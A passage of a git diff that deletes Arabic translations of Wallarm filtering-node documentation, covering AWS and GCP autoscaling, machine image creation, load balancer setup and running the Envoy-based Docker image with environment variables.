التلقائي: -* AWS Autoscaling: - تقنية توسيع النطاق التلقائي الجديدة على أساس المقاييس التي يتم جمعها بواسطة AWS. - - لرؤية معلومات مفصلة حول AWS Auto Scaling، توجه إلى هذا [الرابط][link-doc-aws-as]. - -* EC2 Autoscaling: - تقنية توسيع النطاق التلقائي القديمة التي تسمح بإنشاء متغيرات مخصصة لتحديد قواعد التوسيع. - - لرؤية معلومات مفصلة حول EC2 Auto Scaling، توجه إلى هذا [الرابط][link-doc-ec2-as]. - -!!! info "معلومات حول طرق توسيع النطاق التلقائي" - لرؤية FAQ مفصلة حول طرق توسيع النطاق التلقائي التي تقدمها Amazon، توجه إلى هذا [الرابط][link-doc-as-faq]. - -يشرح هذا الدليل كيفية تهيئة توسيع نطاق تلقائي لعقد التصفية باستخدام EC2 Auto Scaling، ولكن يمكنك أيضًا استخدام AWS Auto Scaling إذا لزم الأمر. - -!!! warning "المتطلبات الأولية" - صورة الآلة الافتراضية (Amazon Machine Image، AMI) مع عقدة التصفية Wallarm مطلوبة لتهيئة توسيع النطاق التلقائي. - - لرؤية معلومات مفصلة حول إنشاء AMI مع عقدة التصفية، توجه مع هذا [الرابط][link-doc-ami-creation]. - -!!! info "المفتاح الخاص SSH" - تأكد من أن لديك الوصول إلى المفتاح الخاص SSH (المخزن بتنسيق PEM) الذي أنشأته سابقًا للاتصال بعقدة التصفية. - -لتمكين توسيع نطاق تلقائي لعقد التصفية في سحابة Amazon، قم بالخطوات التالية: - -1. [إنشاء صورة Amazon Machine](create-image.md) -1. [تهيئة توسيع نطاق تلقائي لعقدة التصفية][link-doc-asg-guide] - 1. [إنشاء قالب إطلاق][link-doc-create-template] - 2. [إنشاء مجموعة توسيع نطاق تلقائي][link-doc-create-asg] -1. [تهيئة توازن الطلبات الواردة][link-doc-lb-guide] - 1. [إنشاء موازنة حمل][link-doc-create-lb] - 2. [تهيئة مجموعة توسيع نطاق تلقائي لاستخدام الموازن المُنشأ][link-doc-set-up-asg] \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/latest-ar/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index 8b98754495..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1,92 +0,0 @@ -[link-docs-aws-autoscaling]: autoscaling-group-guide.md -[link-docs-aws-node-setup]: ../../../installation/cloud-platforms/aws/ami.md -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/aws/ami.md#6-enable-wallarm-to-analyze-the-traffic -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[img-launch-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/launch-ami-wizard.png -[img-config-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/config-ami-wizard.png -[img-explore-created-ami]: ../../../images/installation-ami/auto-scaling/common/create-image/explore-ami.png - -[anchor-node]: #1-creating-and-configuring-the-wallarm-filtering-node-instance-in-the-amazon-cloud -[anchor-ami]: #2-creating-an-amazon-machine-image - -# إنشاء صورة آلة أمازون بواسطة عقدة تصفية Wallarm - -يمكنك إعداد التوسع الذاتي لعقد تصفية Wallarm المُنشأة على السحابة الخاصة بأمازون. تتطلب هذه الوظيفة صور للآلات الافتراضية مُجهزة مسبقًا. - -يصف هذا الوثيقة إجراء تحضير صورة آلة أمازون(AMI) مع تثبيت عقدة تصفية Wallarm. AMI مطلوب لإعداد توسع التصفية الذاتي للعقد. لرؤية معلومات مفصلة عن إعداد التوسع الذاتي، انتقل إلى هذا [الرابط][link-docs-aws-autoscaling]. - -لإنشاء AMI بعقدة تصفية Wallarm، قم بإجراء الإجراءات التالية: - -1. [إنشاء وتهيئة مثيل عقدة التصفية في السحابة الخاصة بأمازون][anchor-node] -2. [إنشاء AMI على أساس مثيل عقدة التصفية المُهيأ][anchor-ami] - - -## 1. إنشاء وتهيئة مثيل عقدة تصفية Wallarm في السحابة الخاصة بأمازون - -قبل إنشاء AMI تحتاج إلى إجراء تهيئة أولية لمثيل عقدة تصفية Wallarm واحدة. لتهيئة عقدة التصفية، قم بما يلي: - -1. [إنشاء][link-docs-aws-node-setup] مثيل لعقدة التصفية في السحابة الخاصة بأمازون. - - !!! warning "المفتاح الخاص SSH" - تأكد من وجود لديك إمكانية الوصول إلى المفتاح الخاص SSH (المخزن بتنسيق PEM) الذي [أنشأته][link-ssh-keys-guide] مُسبقًا للاتصال بعقدة التصفية. - - !!! warning "توفير اتصال عقدة التصفية بالإنترنت" - تتطلب عقدة التصفية الوصول إلى خادم API الخاص ب Wallarm لتشغيلها بشكل صحيح. اختيار خادم API الخاص ب Wallarm يعتمد على السحابة Wallarm التي تستخدمها: - - * إذا كنت تستخدم سحابة الولايات المتحدة، يحتاج مثيلك إلى الوصول إلى `https://us1.api.wallarm.com`. - * إذا كنت تستخدم سحابة الاتحاد الأوروبي، يحتاج مثيلك إلى الوصول إلى `https://api.wallarm.com`. - - تأكد من اختيارك للVPC والشبكات الفرعية بشكل صحيح و[تهيئة مجموعة الأمان][link-security-group-guide] بطريقة لا تمنع عقدة التصفية من الوصول إلى خوادم API الخاصة ب Wallarm. - -2. [ربط][link-cloud-connect-guide] عقدة التصفية بالسحابة Wallarm. - - !!! warning "استخدم رمزًا للاتصال بالسحابة Wallarm" - يُرجى ملاحظة أنك تحتاج إلى ربط عقدة التصفية بالسحابة Wallarm باستخدام رمز. يُسمح بربط عدة عقد تصفية بالسحابة Wallarm باستخدام نفس الرمز. - - وبالتالي، عند توسيع عقد التصفية ذاتيًا، لن تحتاج إلى ربط كل عقدة تصفية بالسحابة Wallarm يدويًا. - -3. [تهيئة][link-docs-reverse-proxy-setup] عقدة التصفية لتعمل كوكيل عكسي لتطبيق الويب الخاص بك. - -4. [تأكد][link-docs-check-operation] من تهيئة عقدة التصفية بشكل صحيح وحماية تطبيق الويب الخاص بك ضد الطلبات الخبيثة. - -بعد الانتهاء من تهيئة عقدة التصفية، أوقف الآلة الافتراضية عن طريق إكمال الإجراءات التالية: - -1. انتقل إلى علامة التبويب **Instances** في لوحة تحكم Amazon EC2. -2. حدد مثيل عقدة التصفية المُهيأ الخاص بك. -3. حدد **حالة المثيل** ثم **إيقاف** في قائمة **الإجراءات** المنسدلة. - -!!! info "الإيقاف باستخدام أمر `poweroff`" - يمكنك أيضًا إيقاف الآلة الافتراضية عن طريق الاتصال بها عبر بروتوكول SSH وتشغيل الأمر التالي: - - ``` bash - poweroff - ``` - -## 2. إنشاء صورة آلة أمازون - -يمكنك الآن إنشاء صورة للآلة الافتراضية بناءً على مثيل عقدة التصفية المُهيأ. لإنشاء صورة، قم بالخطوات التالية: - -1. انتقل إلى علامة التبويب **Instances** في لوحة تحكم Amazon EC2. -2. حدد مثيل عقدة التصفية المُهيأ الخاص بك. -3. أطلق معالج إنشاء الصورة بتحديد **Image** ثم **Create Image** في قائمة **الإجراءات** المنسدلة. - - ![إطلاق معالج إنشاء AMI][img-launch-ami-wizard] - -4. ستظهر نافذة **Create Image**. أدخل اسم الصورة في حقل **اسم الصورة**. يمكن ترك الحقول المتبقية دون تغيير. - - ![تهيئة المعلمات في معالج إنشاء AMI][img-config-ami-wizard] - -5. اضغط على زر **Create Image** لبدء عملية إنشاء صورة الآلة الافتراضية. - - عند انتهاء عملية إنشاء الصورة، سيتم عرض الرسالة المناسبة. انتقل إلى علامة التبويب **AMIs** في لوحة تحكم Amazon EC2 للتأكد من أن الصورة قد تم إنشاؤها بنجاح ولها حالة **متاح**. - - ![استكشاف AMI المُنشأة][img-explore-created-ami] - -!!! info "رؤية الصورة" - نظرًا لأن الصورة المُعدة تحتوي على إعدادات مُحددة لتطبيقك ورمز Wallarm، لا يُنصح بتغيير إعداد رؤية الصورة وجعلها عامة (بشكل افتراضي، يتم إنشاء AMIs بإعداد الرؤية **خاص**). - -الآن يمكنك [إعداد][link-docs-aws-autoscaling] توسع عقد تصفية Wallarm ذاتيًا في السحابة الخاصة بأمازون باستخدام الصورة المُعدة. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/latest-ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 132a68a263..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1,103 +0,0 @@ -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[link-aws-lb-comparison]: https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/what-is-load-balancing.html?icmpid=docs_elbv2_console#elb-features - -[img-lb-basics]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-1.png -[img-lb-routing]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-3.png -[img-checking-operation]: ../../../images/admin-guides/test-attacks-quickstart.png - -[anchor-create]: #1-creating-a-load-balancer -[anchor-configure]: #2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - -# إنشاء موزع الحمل على AWS - -الآن، بعد أن لديكم مجموعة تحجيم تلقائي لعقد تصفية مُعدة، تحتاجون إلى إنشاء وتكوين موزع حمل يوزع الاتصالات القادمة عبر HTTP وHTTPS بين عدة عقد تصفية من مجموعة التحجيم التلقائي. - -تتضمن عملية إنشاء موزع الحمل الخطوات التالية: -1. [إنشاء موزع حمل][anchor-create] -2. [إعداد مجموعة التحجيم التلقائي لاستخدام موزع الحمل الذي تم إنشاؤه][anchor-configure] - -## 1. إنشاء موزع حمل - -يمكنكم تكوين أنواع موزعي الحمل التالية في السحابة من Amazon: -* موزع الحمل الكلاسيكي -* موزع الحمل الشبكي -* موزع الحمل تطبيقي - -!!! info "الفروقات بين موزعي الحمل" - للاطلاع على معلومات مفصلة عن الفروقات بين موزعي الحمل، تابعوا هذا [الرابط][link-aws-lb-comparison]. - -يستعرض هذا الوثيقة كيفية تكوين واستخدام موزع الحمل الشبكي الذي يوزع الحركة المرورية على مستوى نقل شبكة ال OSI/ISO. - -أنشئوا موزع حمل بإكمال الأفعال التالية: -1. انتقلوا إلى علامة التبويب **موزعات الحمل** في لوحة تحكم Amazon EC2 واضغطوا على زر **إنشاء موزع حمل**. - -2. أنشئوا موزع حمل شبكي بالضغط على الزر المقابل **إنشاء**. - -3. قوموا بتكوين معلمات موزع الحمل الأساسية: - - ![تكوين معلمات موزع الحمل العامة][img-lb-basics] - - 1. اسم الموزع (معامل **الاسم**). - - 2. نوع الموزع (معامل **النمط**). اختاروا نوع **المواجه للإنترنت** ليكون الموزع متاحًا على الإنترنت. - - 3. حددوا المنافذ التي يستمع لها الموزع باستخدام مجموعة معلمات **المستمعين**. - - 4. حددوا الـ VPC ومناطق التوفر المطلوبة التي يجب أن يعمل بها الموزع. - - !!! info "تحقق من توفر مجموعة التحجيم التلقائي" - تأكدوا من اختيار الـ VPC ومناطق التوفر التي تحتوي على مجموعة التحجيم التلقائي [التي تم إنشاؤها في وقت سابق][link-doc-asg-guide] ليعمل موزع الحمل بشكل صحيح. - -4. المضي للخطوة التالية بالضغط على زر **التالي: تكوين إعدادات الأمان**. - - قوموا بتكوين معلمات الأمان إذا لزم الأمر. - -5. انتقلوا للخطوة التالية بالضغط على زر **التالي: تكوين التوجيه**. - - قوموا بتكوين توجيه الطلبات الواردة إلى عقد التصفية في مجموعة التحجيم التلقائي. - - ![تكوين توجيه الاتصالات الواردة][img-lb-routing] - - 1. أنشئوا مجموعة أهداف جديدة وحددوا اسمها في حقل **الاسم**. سيقوم موزع الحمل بتوجيه الطلبات الواردة إلى النماذج الموجودة في مجموعة الأهداف المحددة (مثل، `demo-target`). - - 2. قوموا بتكوين البروتوكول والمنفذ المستخدمين لتوجيه الطلب. - - حددوا بروتوكول TCP ومنافذ 80 و443 (إذا كان لديكم حركة مرور HTTPS) لعقدة التصفية. - - 3. إذا لزم الأمر، قوموا بتكوين فحوصات التوفر باستخدام مجموعة معاملات **فحوصات الصحة**. - -6. المضي للخطوة التالية بالنقر على زر **التالي: تسجيل الأهداف**. - - هذه الخطوة لا تتطلب أي إجراءات. - -7. انتقلوا إلى الخطوة التالية بالضغط على زر **التالي: مراجعة**. - - تأكدوا من تحديد جميع المعاملات بشكل صحيح، وابدؤوا عملية إنشاء موزع الحمل بالضغط على زر **إنشاء**. - -!!! info "انتظروا حتى يتم تهيئة موزع الحمل" - بعد إنشاء موزع الحمل، يجب أن يمر بعض الوقت حتى يكون جاهزًا لاستقبال الحركة المرورية. - -## 2. إعداد مجموعة التحجيم التلقائي لاستخدام الموزع الذي تم إنشاؤه - -قوموا بتكوين مجموعة التحجيم التلقائي الخاصة بكم لاستخدام موزع الحمل الذي أنشأتموه في وقت سابق. سيسمح هذا للموزع بتوجيه الحركة المرورية إلى نماذج عقد التصفية التي يتم إطلاقها في المجموعة. - -للقيام بذلك، أكملوا الإجراءات التالية: -1. انتقلوا إلى علامة التبويب **مجموعات التحجيم التلقائي** على لوحة تحكم Amazon EC2 واختاروا مجموعة التحجيم التلقائي [التي تم إنشاؤها سابقاً][link-doc-asg-guide]. - -2. افتحوا حوار تعديل تكوين المجموعة بتحديد *تعديل* في قائمة **الإجراءات** الجانبية. - -3. اختاروا مجموعة الأهداف **demo-target** [التي تم إنشاؤها][anchor-create] عند إعداد موزع الحمل في قائمة منسدلة **مجموعات الأهداف**. - -4. طبقوا التغييرات بالضغط على زر **حفظ**. - -الآن، ستتولى مجموعة Wallarm من عقد التصفية التي تتغير حجمها ديناميكيًا معالجة الحركة المرورية الواردة إلى تطبيقكم. - -لفحص عمل نماذج التصفية المنتشرة، نفذوا الخطوات التالية: - -1. تأكدوا من أن تطبيقكم يمكن الوصول إليه من خلال موزع الحمل وعقد Wallarm للتصفية من خلال الرجوع إلى عنوان IP لموزع الحمل أو اسم النطاق باستخدام المتصفح. - -2. تأكدوا من حماية خدمات Wallarm لتطبيقكم [بإجراء هجوم اختباري][link-docs-check-operation]. - -![فحص عمل عقدة التصفية][img-checking-operation] \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/envoy/envoy-docker.md b/docs/latest-ar/admin-en/installation-guides/envoy/envoy-docker.md deleted file mode 100644 index 9d4a8d328b..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/envoy/envoy-docker.md +++ /dev/null @@ -1,112 +0,0 @@ -# تشغيل صورة Docker المبنية على Envoy لـ Wallarm - -تصف هذه التعليمات الخطوات لتشغيل صورة Docker الخاصة بـ Wallarm والمبنية على [Envoy 1.18.4](https://www.envoyproxy.io/docs/envoy/latest/version_history/v1.18.4). تحتوي الصورة على كل الأنظمة المطلوبة لتشغيل عقدة Wallarm بشكل صحيح: - -* خدمات الوكيل Envoy مع وحدة Wallarm المدمجة -* وحدات Tarantool للتحليلات بعد الحدث -* خدمات وسكربتات أخرى - -تم تصميم وحدة Wallarm كفلتر HTTP لـ Envoy لتوكيل الطلبات. - -!!! تحذير "المعلمات التكوينية المدعومة" - يرجى العلم بأن معظم [المديريات][nginx-directives-docs] الخاصة بتكوين عقدة التصفية المبنية على NGINX غير مدعومة لتكوين عقدة التصفية المبنية على Envoy. ونتيجة لذلك، [تحديد المعدل][rate-limit-docs] و[كشف استخدام الاعتمادات المكررة][cred-stuffing-docs] غير متاحين في هذه الطريقة للتوزيع. - - اطلع على قائمة المعلمات المتاحة لـ [تكوين عقدة التصفية المبنية على Envoy →][docker-envoy-configuration-docs] - -## حالات الاستخدام - ---8<-- "../include/waf/installation/docker-images/envoy-based-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/docker-images/envoy-requirements.md" - -## الخيارات لتشغيل الحاوية - -يمكن تمرير معلمات تكوين عقدة التصفية إلى أمر `docker run` بالطرق التالية: - -* **في متغيرات البيئة**. هذا الخيار يسمح بتكوين معلمات عقدة التصفية الأساسية فقط، فلا يمكن تغيير أغلب [المعلمات][docker-envoy-configuration-docs] عبر متغيرات البيئة. -* **في ملف التكوين المركب**. هذا الخيار يسمح بتكوين كل [المعلمات][docker-envoy-configuration-docs] لعقدة التصفية. - -## تشغيل الحاوية مع تمرير متغيرات البيئة - -لتشغيل الحاوية: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتشغيل الحاوية مع العقدة: - - === "السحابة الأمريكية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e ENVOY_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/envoy:4.8.0-1 - ``` - === "السحابة الأوروبية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e ENVOY_BACKEND='example.com' -p 80:80 wallarm/envoy:4.8.0-1 - ``` - -يمكنك تمرير الإعدادات الأساسية التالية لعقدة التصفية إلى الحاوية عبر الخيار `-e`: - -متغير البيئة | الوصف| مطلوب ---- | ---- | ---- -`WALLARM_API_TOKEN` | رمز عقدة أو API الخاص بـ Wallarm. | نعم -`ENVOY_BACKEND` | نطاق أو عنوان IP للمورد المراد حمايته بواسطة حل Wallarm. | نعم -`WALLARM_API_HOST` | خادم API Wallarm:
      • `us1.api.wallarm.com` للسحابة الأمريكية
      • `api.wallarm.com` للسحابة الأوروبية
      الافتراضي: `api.wallarm.com`. | لا -`WALLARM_MODE` | وضع العقدة:
      • `block` لحجب الطلبات الخبيثة
      • `safe_blocking` لحجب الطلبات الخبيثة الصادرة من [عناوين IP في القائمة الرمادية][graylist-docs] فقط
      • `monitoring` لتحليل الطلبات دون حجبها
      • `off` لتعطيل تحليل ومعالجة الحركة
      الافتراضي: `monitoring`.
      [وصف مفصل لأوضاع التصفية →][wallarm-mode-docs] | لا -`WALLARM_LABELS` |

      متاح بدءًا من العقدة 4.6. يعمل فقط إذا تم ضبط `WALLARM_API_TOKEN` على [رمز API][api-tokens-docs] بدور `التوزيع`. يضبط تصنيف `group` لتجميع نماذج عقدة، على سبيل المثال:

      `WALLARM_LABELS="group="`

      ...سيضع نموذج العقدة في مجموعة النماذج `` (موجودة، أو، إذا لم تكن موجودة، سيتم إنشاؤها).

      | نعم (لرموز API) -`TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocate-resources-for-wallarm-docs] المخصصة لـ Tarantool. يمكن أن تكون القيمة عددًا صحيحًا أو عائمًا (النقطة . هي فاصلة عشرية). بشكل افتراضي: 0.2 غيغابايت. | لا - -الأمر يقوم بما يلي: - -* ينشئ ملف `envoy.yaml` بتكوين Envoy الأدنى في دليل `/etc/envoy` الخاص بالحاوية. -* ينشئ ملفات بأوراق اعتماد عقدة التصفية للوصول إلى سحابة Wallarm في دليل `/etc/wallarm` الخاص بالحاوية: - * `node.yaml` بـ UUID العقدة ومفتاح السر. - * `private.key` بمفتاح Wallarm الخاص. -* يحمي المورد `http://ENVOY_BACKEND:80`. - -## تشغيل الحاوية بتركيب envoy.yaml - -يمكنك تركيب ملف `envoy.yaml` الجاهز إلى حاوية Docker عبر الخيار `-v`. يجب أن يحتوي الملف على الإعدادات التالية: - -* إعدادات عقدة التصفية كما هو موضح في [التعليمات][docker-envoy-configuration-docs] -* إعدادات Envoy كما هو موضح في [تعليمات Envoy](https://www.envoyproxy.io/docs/envoy/v1.15.0/configuration/overview/overview) - -لتشغيل الحاوية: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتشغيل الحاوية مع العقدة: - - === "السحابة الأمريكية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/envoy.yaml:/etc/envoy/envoy.yaml -p 80:80 wallarm/envoy:4.8.0-1 - ``` - === "السحابة الأوروبية" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -v /configs/envoy.yaml:/etc/envoy/envoy.yaml -p 80:80 wallarm/envoy:4.8.0-1 - ``` - - * الخيار `-e` يمرر المتغيرات البيئية المطلوبة التالية إلى الحاوية: - - متغير البيئة | الوصف| مطلوب - --- | ---- | ---- - `WALLARM_API_TOKEN` | رمز عقدة Wallarm.

      استخدام رمز واحد لعدة تثبيتات

      يمكنك استخدام رمز واحد في عدة تثبيتات بغض النظر عن النظام الأساسي المختار [platform][supported-deployments]. يسمح ذلك بتجميع منطقي لنماذج العقد في واجهة استخدام Wallarm. مثال: تقوم بنشر عدة عقد Wallarm في بيئة تطوير، كل عقدة على جهاز خاص بمطور معين.

      | نعم - `WALLARM_API_HOST` | خادم API Wallarm:
      • `us1.api.wallarm.com` للسحابة الأمريكية
      • `api.wallarm.com` للسحابة الأوروبية
      الافتراضي: `api.wallarm.com`. | لا - - * الخيار `-v` يركب دليل الملف التكويني `envoy.yaml` إلى دليل `/etc/envoy` الخاص بالحاوية. - -الأمر يقوم بما يلي: - -* يركب ملف `envoy.yaml` إلى دليل `/etc/envoy` الخاص بالحاوية. -* ينشئ ملفات بأوراق اعتماد عقدة التصفية للولوج إلى سحابة Wallarm في دليل `/etc/wallarm` الخاص بالحاوية: - * `node.yaml` بـ UUID العقدة ومفتاح السر. - * `private.key` بمفتاح Wallarm الخاص. -* يحمي المورد المحدد في ملف التكوين المركب. - -## تكوين الدوران الخاص بملفات السجل (اختياري) - -تم تكوين دوران ملف السجل مسبقًا وهو ممكّن بشكل افتراضي. يمكنك تعديل إعدادات الدوران إذا لزم الأمر. تقع هذه الإعدادات في دليل `/etc/logrotate.d` الخاص بالحاوية. - -## اختبار تشغيل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/latest-ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 31278492b0..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1,26 +0,0 @@ -[link-doc-image-creation]: create-image.md -[link-doc-template-creation]: creating-instance-template.md -[link-doc-managed-autoscaling-group]: creating-autoscaling-group.md -[link-doc-lb-guide]: load-balancing-guide.md - -# إعداد توسيع تلقائي لعقد التصفية على منصة Google Cloud: نظرة عامة - -يمكنك إعداد توسيع تلقائي لعقد التصفية Wallarm على منصة Google Cloud (GCP) للتأكد من قدرة عقد التصفية على التعامل مع تقلبات حركة المرور (إذا وجدت). يسمح تمكين التوسيع التلقائي بمعالجة الطلبات الواردة إلى التطبيق باستخدام عقد التصفية حتى عندما تزداد حركة المرور بشكل كبير. - -!!! warning "المتطلبات الأساسية" - يتطلب إعداد التوسيع التلقائي صورة الآلة الافتراضية بعقدة التصفية Wallarm. - - للحصول على معلومات مفصلة حول إنشاء صورة الآلة الافتراضية بعقدة التصفية Wallarm على GCP، انتقل إلى هذا [الرابط][link-doc-image-creation]. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -لتوسيع تلقائي لعقد التصفية على منصة Google Cloud، قم بالخطوات التالية: - -1. [إنشاء صورة آلة](create-image.md) -1. إعداد توسيع تلقائي لعقد التصفية: - 1. [إنشاء قالب لعقدة التصفية][link-doc-template-creation]; - 2. [إنشاء مجموعة من الكيانات المُدارة مع تمكين التوسيع التلقائي][link-doc-managed-autoscaling-group]; -1. [إعداد توازن الطلبات الواردة][link-doc-lb-guide]. - -!!! info "الحقوق المطلوبة" - قبل إعداد التوسيع التلقائي، تأكد من أن حساب GCP الخاص بك يمتلك دور `Compute Admin`. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/google-cloud/create-image.md b/docs/latest-ar/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index d825fc6ef5..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1,76 +0,0 @@ -[link-docs-gcp-autoscaling]: autoscaling-overview.md -[link-docs-gcp-node-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md#5-enable-wallarm-to-analyze-the-traffic -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[img-vm-instance-poweroff]: ../../../images/installation-gcp/auto-scaling/common/create-image/vm-poweroff.png -[img-create-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/create-image.png -[img-check-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/image-list.png - -[anchor-node]: #1-creating-and-configuring-the-filtering-node-instance-on-the-google-cloud-platform -[anchor-gcp]: #2-creating-a-virtual-machine-image - -# إنشاء صورة بواسطة عقدة تصفية Wallarm على منصة Google Cloud - -لإعداد القياس التلقائي لعقد التصفية Wallarm الموزعة على منصة Google Cloud (GCP)، أنت بحاجة أولاً إلى صور آلات افتراضية. تصف هذه الوثيقة إجراء تحضير صورة الآلة الافتراضية بعقدة تصفية Wallarm مثبتة. للحصول على معلومات مفصلة حول إعداد القياس التلقائي، يرجى الاطلاع على [هذا الرابط][link-docs-gcp-autoscaling]. - -لإنشاء صورة بعقدة تصفية Wallarm على GCP، قم بالإجراءات التالية: -1. [إنشاء وتكوين عقدة التصفية على منصة Google Cloud][anchor-node]. -2. [إنشاء صورة آلة افتراضية استنادًا إلى عقدة التصفية المكونة][anchor-gcp]. - -## 1. إنشاء وتكوين عقدة التصفية على منصة Google Cloud - -قبل إنشاء صورة، تحتاج إلى إجراء تكوين أولي لعقدة تصفية Wallarm واحدة. لتكوين عقدة تصفية، قم بما يلي: -1. [إنشاء وتكوين][link-docs-gcp-node-setup] عقدة تصفية على GCP. - - !!! warning "توفير اتصال بالإنترنت لعقدة التصفية" - عقدة التصفية تتطلب الوصول إلى خادم API Wallarm للعمل بشكل صحيح. اختيار خادم API Wallarm يعتمد على Cloud Wallarm الذي تستخدمه: - - * إذا كنت تستخدم US Cloud، تحتاج العقدة إلى الوصول إلى `https://us1.api.wallarm.com`. - * إذا كنت تستخدم EU Cloud، تحتاج العقدة إلى الوصول إلى `https://api.wallarm.com`. - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -2. [ربط][link-cloud-connect-guide] عقدة التصفية بـ Wallarm Cloud. - - !!! warning "استخدم رمزًا للربط بـ Wallarm Cloud" - يرجى ملاحظة أنه يتعين عليك ربط عقدة التصفية بـ Wallarm cloud باستخدام رمز. يُسمح بربط عقد متعددة بـ Wallarm cloud باستخدام الرمز نفسه. - - وبذلك، لن تحتاج إلى ربط كل عقدة التصفية يدويًا بـ Wallarm Cloud عندما تقوم بالقياس التلقائي. - -3. [تكوين][link-docs-reverse-proxy-setup] عقدة التصفية لتعمل كوكيل عكسي لتطبيق الويب الخاص بك. - -4. [التأكد][link-docs-check-operation] من أن عقدة التصفية مكونة بشكل صحيح وتحمي تطبيق الويب الخاص بك ضد الطلبات الخبيثة. - -بعد أن تنتهي من تكوين عقدة التصفية، أوقف تشغيل الآلة الافتراضية من خلال إكمال الإجراءات التالية: -1. انتقل إلى صفحة **VM Instances** في قسم **Compute Engine** من القائمة. -2. افتح القائمة المنسدلة بالنقر على زر القائمة على يمين عمود **Connect**. -3. حدد **Stop** في القائمة المنسدلة. - -![إيقاف تشغيل الآلة الافتراضية][img-vm-instance-poweroff] - -!!! info "إيقاف التشغيل باستخدام أمر `poweroff`" - يمكنك أيضًا إيقاف تشغيل الآلة الافتراضية بالاتصال بها عبر بروتوكول SSH وتشغيل الأمر التالي: - - ``` bash - poweroff - ``` - -## 2. إنشاء صورة آلة افتراضية - -يمكنك الآن إنشاء صورة آلة افتراضية استنادًا إلى عقدة التصفية المكونة. لإنشاء صورة، اتبع الخطوات التالية: -1. انتقل إلى صفحة **Images** في قسم **Compute Engine** من القائمة وانقر على زر **Create image**. -2. أدخل اسم الصورة في حقل **Name**. -3. حدد **Disk** من القائمة المنسدلة **Source**. -4. حدد اسم نسخة الآلة الافتراضية [المُنشأة مسبقًا][anchor-node] من القائمة المنسدلة **Source disk**. - - ![إنشاء صورة][img-create-image] - -5. انقر على زر **Create** لبدء عملية إنشاء صورة الآلة الافتراضية. - -بمجرد انتهاء عملية إنشاء الصورة، سيتم توجيهك إلى صفحة تحتوي على قائمة الصور المتاحة. تأكد من تم إنشاء الصورة بنجاح وأنها موجودة في القائمة. - -![قائمة الصور][img-check-image] - -الآن يمكنك [ضبط القياس التلقائي][link-docs-gcp-autoscaling] لعقد التصفية Wallarm على منصة Google Cloud باستخدام الصورة المعدة. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index 2ecb2eee3d..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1,63 +0,0 @@ -[img-creating-instance-group]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-group.png -[img-create-instance-group-example]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-scalable-instance-group.png -[img-checking-nodes-operation]: ../../../images/cloud-node-status.png - -[link-cpu-usage-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing -[link-http-load-balancing-policy]: 